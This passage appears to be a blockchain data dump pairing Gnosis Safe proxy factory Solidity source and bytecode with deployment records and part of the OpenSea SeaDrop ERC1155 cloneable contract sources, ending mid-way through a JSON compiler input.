function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,495,972 |
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|
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|
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| |
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|
608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552
|
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,495,973 |
f3c946d808457342cdb86424ed31ac8e0ef3b5afea6dc92dcca2d021d1a68c87
|
7d12cd1227454c24c1ee579475ec2ac3b51294df4112bf7049155c3e106734c2
|
88304a99871507fbe8619ce4b6355a56f761bde4
|
000000f20032b9e171844b00ea507e11960bd94a
|
da999d5312c00105fc56b4b061828b11fb62cc72
|
3d602d80600a3d3981f3363d3d373d3d3d363d730d223d05e1cc4ac20de7fce86bc9bb8efb56f4d45af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d730d223d05e1cc4ac20de7fce86bc9bb8efb56f4d45af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"src/clones/ERC1155SeaDropCloneable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport {\n ERC1155SeaDropContractOffererCloneable\n} from \"./ERC1155SeaDropContractOffererCloneable.sol\";\n\n/**\n * @title ERC1155SeaDropCloneable\n * @author James Wenzel (emo.eth)\n * @author Ryan Ghods (ralxz.eth)\n * @author Stephan Min (stephanm.eth)\n * @author Michael Cohen (notmichael.eth)\n * @notice A cloneable ERC1155 token contract that can mint as a\n * Seaport contract offerer.\n */\ncontract ERC1155SeaDropCloneable is ERC1155SeaDropContractOffererCloneable {\n /**\n * @notice Initialize the token contract.\n *\n * @param allowedConfigurer The address of the contract allowed to\n * implementation code. Also contains SeaDrop\n * implementation code.\n * @param allowedSeaport The address of the Seaport contract allowed to\n * interact.\n * @param name_ The name of the token.\n * @param symbol_ The symbol of the token.\n */\n function initialize(\n address allowedConfigurer,\n address allowedSeaport,\n string memory name_,\n string memory symbol_,\n address initialOwner\n ) public initializer {\n // Initialize ownership.\n _initializeOwner(initialOwner);\n\n // Initialize ERC1155SeaDropContractOffererCloneable.\n __ERC1155SeaDropContractOffererCloneable_init(\n allowedConfigurer,\n allowedSeaport,\n name_,\n symbol_\n );\n }\n\n /**\n * @dev Auto-approve the conduit after mint or transfer.\n *\n * @custom:param from The address to transfer from.\n * @param to The address to transfer to.\n * @custom:param ids The token ids to transfer.\n * @custom:param amounts The quantities to transfer.\n * @custom:param data The data to pass if receiver is a contract.\n */\n function _afterTokenTransfer(\n address /* from */,\n address to,\n uint256[] memory /* ids */,\n uint256[] memory /* amounts */,\n bytes memory /* data */\n ) internal virtual override {\n // Auto-approve the conduit.\n if (to != address(0) && !isApprovedForAll(to, _CONDUIT)) {\n _setApprovalForAll(to, _CONDUIT, true);\n }\n }\n\n /**\n * @dev Override this function to return true if `_afterTokenTransfer` is\n * used. The is to help the compiler avoid producing dead bytecode.\n */\n function _useAfterTokenTransfer()\n internal\n view\n virtual\n override\n returns (bool)\n {\n return true;\n }\n\n /**\n * @notice Burns a token, restricted to the owner or approved operator,\n * and must have sufficient balance.\n *\n * @param from The address to burn from.\n * @param id The token id to burn.\n * @param amount The amount to burn.\n */\n function burn(address from, uint256 id, uint256 amount) external {\n // Burn the token.\n _burn(msg.sender, from, id, amount);\n }\n\n /**\n * @notice Burns a batch of tokens, restricted to the owner or\n * approved operator, and must have sufficient balance.\n *\n * @param from The address to burn from.\n * @param ids The token ids to burn.\n * @param amounts The amounts to burn per token id.\n */\n function batchBurn(\n address from,\n uint256[] calldata ids,\n uint256[] calldata amounts\n ) external {\n // Burn the tokens.\n _batchBurn(msg.sender, from, ids, amounts);\n }\n}\n"
},
"src/clones/ERC1155SeaDropContractOffererCloneable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { IERC1155SeaDrop } from \"../interfaces/IERC1155SeaDrop.sol\";\n\nimport { ISeaDropToken } from \"../interfaces/ISeaDropToken.sol\";\n\nimport {\n ERC1155ContractMetadataCloneable\n} from \"./ERC1155ContractMetadataCloneable.sol\";\n\nimport {\n ERC1155SeaDropContractOffererStorage\n} from \"../lib/ERC1155SeaDropContractOffererStorage.sol\";\n\nimport {\n ERC1155SeaDropErrorsAndEvents\n} from \"../lib/ERC1155SeaDropErrorsAndEvents.sol\";\n\nimport { PublicDrop } from \"../lib//ERC1155SeaDropStructs.sol\";\n\nimport { AllowListData } from \"../lib/SeaDropStructs.sol\";\n\nimport {\n ERC1155ConduitPreapproved\n} from \"../lib/ERC1155ConduitPreapproved.sol\";\n\nimport { ERC1155 } from \"solady/src/tokens/ERC1155.sol\";\n\nimport { SpentItem } from \"seaport-types/src/lib/ConsiderationStructs.sol\";\n\nimport {\n ContractOffererInterface\n} from \"seaport-types/src/interfaces/ContractOffererInterface.sol\";\n\nimport {\n IERC165\n} from \"@openzeppelin/contracts/utils/introspection/IERC165.sol\";\n\n/**\n * @title ERC1155SeaDropContractOffererCloneable\n * @author James Wenzel (emo.eth)\n * @author Ryan Ghods (ralxz.eth)\n * @author Stephan Min (stephanm.eth)\n * @author Michael Cohen (notmichael.eth)\n * @notice A cloneable ERC1155 token contract that can mint as a\n * Seaport contract offerer.\n */\ncontract ERC1155SeaDropContractOffererCloneable is\n ERC1155ContractMetadataCloneable,\n ERC1155SeaDropErrorsAndEvents\n{\n using ERC1155SeaDropContractOffererStorage for ERC1155SeaDropContractOffererStorage.Layout;\n\n /**\n * @notice Initialize the token contract.\n *\n * @param allowedConfigurer The address of the contract allowed to\n * configure parameters. Also contains SeaDrop\n * implementation code.\n * @param allowedSeaport The address of the Seaport contract allowed to\n * interact.\n * @param name_ The name of the token.\n * @param symbol_ The symbol of the token.\n */\n function __ERC1155SeaDropContractOffererCloneable_init(\n address allowedConfigurer,\n address allowedSeaport,\n string memory name_,\n string memory symbol_\n ) internal onlyInitializing {\n // Set the allowed Seaport to interact with this contract.\n if (allowedSeaport == address(0)) {\n revert AllowedSeaportCannotBeZeroAddress();\n }\n ERC1155SeaDropContractOffererStorage.layout()._allowedSeaport[\n allowedSeaport\n ] = true;\n\n // Set the allowed Seaport enumeration.\n address[] memory enumeratedAllowedSeaport = new address[](1);\n enumeratedAllowedSeaport[0] = allowedSeaport;\n ERC1155SeaDropContractOffererStorage\n .layout()\n ._enumeratedAllowedSeaport = enumeratedAllowedSeaport;\n\n // Emit an event noting the contract deployment.\n emit SeaDropTokenDeployed(SEADROP_TOKEN_TYPE.ERC1155_CLONE);\n\n // Initialize ERC1155ContractMetadataCloneable.\n __ERC1155ContractMetadataCloneable_init(\n allowedConfigurer,\n name_,\n symbol_\n );\n }\n\n /**\n * @notice The fallback function is used as a dispatcher for SeaDrop\n * methods.\n */\n fallback(bytes calldata) external returns (bytes memory output) {\n // Get the function selector.\n bytes4 selector = msg.sig;\n\n // Get the rest of the msg data after the selector.\n bytes calldata data = msg.data[4:];\n\n // Determine if we should forward the call to the implementation\n // contract with SeaDrop logic.\n bool callSeaDropImplementation = selector ==\n ISeaDropToken.updateAllowedSeaport.selector ||\n selector == ISeaDropToken.updateDropURI.selector ||\n selector == ISeaDropToken.updateAllowList.selector ||\n selector == ISeaDropToken.updateCreatorPayouts.selector ||\n selector == ISeaDropToken.updatePayer.selector ||\n selector == ISeaDropToken.updateAllowedFeeRecipient.selector ||\n selector == ISeaDropToken.updateSigner.selector ||\n selector == IERC1155SeaDrop.updatePublicDrop.selector ||\n selector == ContractOffererInterface.previewOrder.selector ||\n selector == ContractOffererInterface.generateOrder.selector ||\n selector == ContractOffererInterface.getSeaportMetadata.selector ||\n selector == IERC1155SeaDrop.getPublicDrop.selector ||\n selector == IERC1155SeaDrop.getPublicDropIndexes.selector ||\n selector == ISeaDropToken.getAllowedSeaport.selector ||\n selector == ISeaDropToken.getCreatorPayouts.selector ||\n selector == ISeaDropToken.getAllowListMerkleRoot.selector ||\n selector == ISeaDropToken.getAllowedFeeRecipients.selector ||\n selector == ISeaDropToken.getSigners.selector ||\n selector == ISeaDropToken.getDigestIsUsed.selector ||\n selector == ISeaDropToken.getPayers.selector;\n\n // Determine if we should require only the owner or configurer calling.\n bool requireOnlyOwnerOrConfigurer = selector ==\n ISeaDropToken.updateAllowedSeaport.selector ||\n selector == ISeaDropToken.updateDropURI.selector ||\n selector == ISeaDropToken.updateAllowList.selector ||\n selector == ISeaDropToken.updateCreatorPayouts.selector ||\n selector == ISeaDropToken.updatePayer.selector ||\n selector == ISeaDropToken.updateAllowedFeeRecipient.selector ||\n selector == IERC1155SeaDrop.updatePublicDrop.selector;\n\n if (callSeaDropImplementation) {\n // For update calls, ensure the sender is only the owner\n // or configurer contract.\n if (requireOnlyOwnerOrConfigurer) {\n _onlyOwnerOrConfigurer();\n } else if (selector == ISeaDropToken.updateSigner.selector) {\n // For updateSigner, a signer can disallow themselves.\n // Get the signer parameter.\n address signer = address(bytes20(data[12:32]));\n // If the signer is not allowed, ensure sender is only owner\n // or configurer.\n if (\n msg.sender != signer ||\n (msg.sender == signer &&\n !ERC1155SeaDropContractOffererStorage\n .layout()\n ._allowedSigners[signer])\n ) {\n _onlyOwnerOrConfigurer();\n }\n }\n\n // Forward the call to the implementation contract.\n (bool success, bytes memory returnedData) = _CONFIGURER\n .delegatecall(msg.data);\n\n // Require that the call was successful.\n if (!success) {\n // Bubble up the revert reason.\n assembly {\n revert(add(32, returnedData), mload(returnedData))\n }\n }\n\n // If the call was to generateOrder, mint the tokens.\n if (selector == ContractOffererInterface.generateOrder.selector) {\n _mintOrder(data);\n }\n\n // Return the data from the delegate call.\n return returnedData;\n } else if (selector == IERC1155SeaDrop.getMintStats.selector) {\n // Get the minter and token id.\n (address minter, uint256 tokenId) = abi.decode(\n data,\n (address, uint256)\n );\n\n // Get the mint stats.\n (\n uint256 minterNumMinted,\n uint256 minterNumMintedForTokenId,\n uint256 totalMintedForTokenId,\n uint256 maxSupply\n ) = _getMintStats(minter, tokenId);\n\n // Encode the return data.\n return\n abi.encode(\n minterNumMinted,\n minterNumMintedForTokenId,\n totalMintedForTokenId,\n maxSupply\n );\n } else if (selector == ContractOffererInterface.ratifyOrder.selector) {\n // This function is a no-op, nothing additional needs to happen here.\n // Utilize assembly to efficiently return the ratifyOrder magic value.\n assembly {\n mstore(0, 0xf4dd92ce)\n return(0x1c, 32)\n }\n } else if (selector == ISeaDropToken.configurer.selector) {\n // Return the configurer contract.\n return abi.encode(_CONFIGURER);\n } else if (selector == IERC1155SeaDrop.multiConfigureMint.selector) {\n // Ensure only the owner or configurer can call this function.\n _onlyOwnerOrConfigurer();\n\n // Mint the tokens.\n _multiConfigureMint(data);\n } else {\n // Revert if the function selector is not supported.\n revert UnsupportedFunctionSelector(selector);\n }\n }\n\n /**\n * @notice Returns a set of mint stats for the address.\n * This assists in enforcing maxSupply, maxTotalMintableByWallet,\n * and maxTokenSupplyForStage checks.\n *\n * @dev NOTE: Implementing contracts should always update these numbers\n * before transferring any tokens with _safeMint() to mitigate\n * consequences of malicious onERC1155Received() hooks.\n *\n * @param minter The minter address.\n * @param tokenId The token id to return the stats for.\n */\n function _getMintStats(\n address minter,\n uint256 tokenId\n )\n internal\n view\n returns (\n uint256 minterNumMinted,\n uint256 minterNumMintedForTokenId,\n uint256 totalMintedForTokenId,\n uint256 maxSupply\n )\n {\n // Put the token supply on the stack.\n TokenSupply storage tokenSupply = _tokenSupply[tokenId];\n\n // Assign the return values.\n totalMintedForTokenId = tokenSupply.totalMinted;\n maxSupply = tokenSupply.maxSupply;\n minterNumMinted = _totalMintedByUser[minter];\n minterNumMintedForTokenId = _totalMintedByUserPerToken[minter][tokenId];\n }\n\n /**\n * @dev Handle ERC-1155 safeTransferFrom. If \"from\" is this contract,\n * the sender can only be Seaport or the conduit.\n *\n * @param from The address to transfer from.\n * @param to The address to transfer to.\n * @param id The token id to transfer.\n * @param amount The amount of tokens to transfer.\n * @param data The data to pass to the onERC1155Received hook.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes calldata data\n ) public virtual override {\n if (from == address(this)) {\n // Only Seaport or the conduit can use this function\n // when \"from\" is this contract.\n if (\n msg.sender != _CONDUIT &&\n !ERC1155SeaDropContractOffererStorage.layout()._allowedSeaport[\n msg.sender\n ]\n ) {\n revert InvalidCallerOnlyAllowedSeaport(msg.sender);\n }\n return;\n }\n\n ERC1155._safeTransfer(_by(), from, to, id, amount, data);\n }\n\n /**\n * @notice Returns whether the interface is supported.\n *\n * @param interfaceId The interface id to check against.\n */\n function supportsInterface(\n bytes4 interfaceId\n )\n public\n view\n virtual\n override(ERC1155ContractMetadataCloneable)\n returns (bool)\n {\n return\n interfaceId == type(IERC1155SeaDrop).interfaceId ||\n interfaceId == type(ContractOffererInterface).interfaceId ||\n interfaceId == 0x2e778efc || // SIP-5 (getSeaportMetadata)\n // ERC1155ContractMetadata returns supportsInterface true for\n // IERC1155ContractMetadata, ERC-4906, ERC-2981\n // ERC1155A returns supportsInterface true for\n // ERC165, ERC1155, ERC1155MetadataURI\n ERC1155ContractMetadataCloneable.supportsInterface(interfaceId);\n }\n\n /**\n * @dev Internal function to mint tokens during a generateOrder call\n * from Seaport.\n *\n * @param data The original transaction calldata, without the selector.\n */\n function _mintOrder(bytes calldata data) internal {\n // Decode fulfiller, minimumReceived, and context from calldata.\n (\n address fulfiller,\n SpentItem[] memory minimumReceived,\n ,\n bytes memory context\n ) = abi.decode(data, (address, SpentItem[], SpentItem[], bytes));\n\n // Assign the minter from context[22:42]. We validate context has the\n // correct minimum length in the implementation's `_decodeOrder`.\n address minter;\n assembly {\n minter := shr(96, mload(add(add(context, 0x20), 22)))\n }\n\n // If the minter is the zero address, set it to the fulfiller.\n if (minter == address(0)) {\n minter = fulfiller;\n }\n\n // Set the token ids and quantities.\n uint256 minimumReceivedLength = minimumReceived.length;\n uint256[] memory tokenIds = new uint256[](minimumReceivedLength);\n uint256[] memory quantities = new uint256[](minimumReceivedLength);\n for (uint256 i = 0; i < minimumReceivedLength; ) {\n tokenIds[i] = minimumReceived[i].identifier;\n quantities[i] = minimumReceived[i].amount;\n unchecked {\n ++i;\n }\n }\n\n // Mint the tokens.\n _batchMint(minter, tokenIds, quantities, \"\");\n }\n\n /**\n * @dev Internal function to mint tokens during a multiConfigureMint call\n * from the configurer contract.\n *\n * @param data The original transaction calldata, without the selector.\n */\n function _multiConfigureMint(bytes calldata data) internal {\n // Decode the calldata.\n (\n address recipient,\n uint256[] memory tokenIds,\n uint256[] memory amounts\n ) = abi.decode(data, (address, uint256[], uint256[]));\n\n _batchMint(recipient, tokenIds, amounts, \"\");\n }\n}\n"
},
"src/interfaces/IERC1155SeaDrop.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { ISeaDropToken } from \"./ISeaDropToken.sol\";\n\nimport { PublicDrop } from \"../lib/ERC1155SeaDropStructs.sol\";\n\n/**\n * @dev A helper interface to get and set parameters for ERC1155SeaDrop.\n * The token does not expose these methods as part of its external\n * interface to optimize contract size, but does implement them.\n */\ninterface IERC1155SeaDrop is ISeaDropToken {\n /**\n * @notice Update the SeaDrop public drop parameters at a given index.\n *\n * @param publicDrop The new public drop parameters.\n * @param index The public drop index.\n */\n function updatePublicDrop(\n PublicDrop calldata publicDrop,\n uint256 index\n ) external;\n\n /**\n * @notice Returns the public drop stage parameters at a given index.\n *\n * @param index The index of the public drop stage.\n */\n function getPublicDrop(\n uint256 index\n ) external view returns (PublicDrop memory);\n\n /**\n * @notice Returns the public drop indexes.\n */\n function getPublicDropIndexes() external view returns (uint256[] memory);\n\n /**\n * @notice Returns a set of mint stats for the address.\n * This assists SeaDrop in enforcing maxSupply,\n * maxTotalMintableByWallet, maxTotalMintableByWalletPerToken,\n * and maxTokenSupplyForStage checks.\n *\n * @dev NOTE: Implementing contracts should always update these numbers\n * before transferring any tokens with _safeMint() to mitigate\n * consequences of malicious onERC1155Received() hooks.\n *\n * @param minter The minter address.\n * @param tokenId The token id to return stats for.\n */\n function getMintStats(\n address minter,\n uint256 tokenId\n )\n external\n view\n returns (\n uint256 minterNumMinted,\n uint256 minterNumMintedForTokenId,\n uint256 totalMintedForTokenId,\n uint256 maxSupply\n );\n\n /**\n * @notice This function is only allowed to be called by the configurer\n * contract as a way to batch mints and configuration in one tx.\n *\n * @param recipient The address to receive the mints.\n * @param tokenIds The tokenIds to mint.\n * @param amounts The amounts to mint.\n */\n function multiConfigureMint(\n address recipient,\n uint256[] calldata tokenIds,\n uint256[] calldata amounts\n ) external;\n}\n"
},
"src/interfaces/ISeaDropToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport {\n ISeaDropTokenContractMetadata\n} from \"./ISeaDropTokenContractMetadata.sol\";\n\nimport { AllowListData, CreatorPayout } from \"../lib/SeaDropStructs.sol\";\n\n/**\n * @dev A helper base interface for IERC721SeaDrop and IERC1155SeaDrop.\n * The token does not expose these methods as part of its external\n * interface to optimize contract size, but does implement them.\n */\ninterface ISeaDropToken is ISeaDropTokenContractMetadata {\n /**\n * @notice Update the SeaDrop allowed Seaport contracts privileged to mint.\n * Only the owner can use this function.\n *\n * @param allowedSeaport The allowed Seaport addresses.\n */\n function updateAllowedSeaport(address[] calldata allowedSeaport) external;\n\n /**\n * @notice Update the SeaDrop allowed fee recipient.\n * Only the owner can use this function.\n *\n * @param feeRecipient The new fee recipient.\n * @param allowed Whether the fee recipient is allowed.\n */\n function updateAllowedFeeRecipient(\n address feeRecipient,\n bool allowed\n ) external;\n\n /**\n * @notice Update the SeaDrop creator payout addresses.\n * The total basis points must add up to exactly 10_000.\n * Only the owner can use this function.\n *\n * @param creatorPayouts The new creator payouts.\n */\n function updateCreatorPayouts(\n CreatorPayout[] calldata creatorPayouts\n ) external;\n\n /**\n * @notice Update the SeaDrop drop URI.\n * Only the owner can use this function.\n *\n * @param dropURI The new drop URI.\n */\n function updateDropURI(string calldata dropURI) external;\n\n /**\n * @notice Update the SeaDrop allow list data.\n * Only the owner can use this function.\n *\n * @param allowListData The new allow list data.\n */\n function updateAllowList(AllowListData calldata allowListData) external;\n\n /**\n * @notice Update the SeaDrop allowed payers.\n * Only the owner can use this function.\n *\n * @param payer The payer to update.\n * @param allowed Whether the payer is allowed.\n */\n function updatePayer(address payer, bool allowed) external;\n\n /**\n * @notice Update the SeaDrop allowed signer.\n * Only the owner can use this function.\n * An allowed signer can also disallow themselves.\n *\n * @param signer The signer to update.\n * @param allowed Whether the signer is allowed.\n */\n function updateSigner(address signer, bool allowed) external;\n\n /**\n * @notice Get the SeaDrop allowed Seaport contracts privileged to mint.\n */\n function getAllowedSeaport() external view returns (address[] memory);\n\n /**\n * @notice Returns the SeaDrop creator payouts.\n */\n function getCreatorPayouts() external view returns (CreatorPayout[] memory);\n\n /**\n * @notice Returns the SeaDrop allow list merkle root.\n */\n function getAllowListMerkleRoot() external view returns (bytes32);\n\n /**\n * @notice Returns the SeaDrop allowed fee recipients.\n */\n function getAllowedFeeRecipients() external view returns (address[] memory);\n\n /**\n * @notice Returns the SeaDrop allowed signers.\n */\n function getSigners() external view returns (address[] memory);\n\n /**\n * @notice Returns if the signed digest has been used.\n *\n * @param digest The digest hash.\n */\n function getDigestIsUsed(bytes32 digest) external view returns (bool);\n\n /**\n * @notice Returns the SeaDrop allowed payers.\n */\n function getPayers() external view returns (address[] memory);\n\n /**\n * @notice Returns the configurer contract.\n */\n function configurer() external view returns (address);\n}\n"
},
"src/clones/ERC1155ContractMetadataCloneable.sol": {
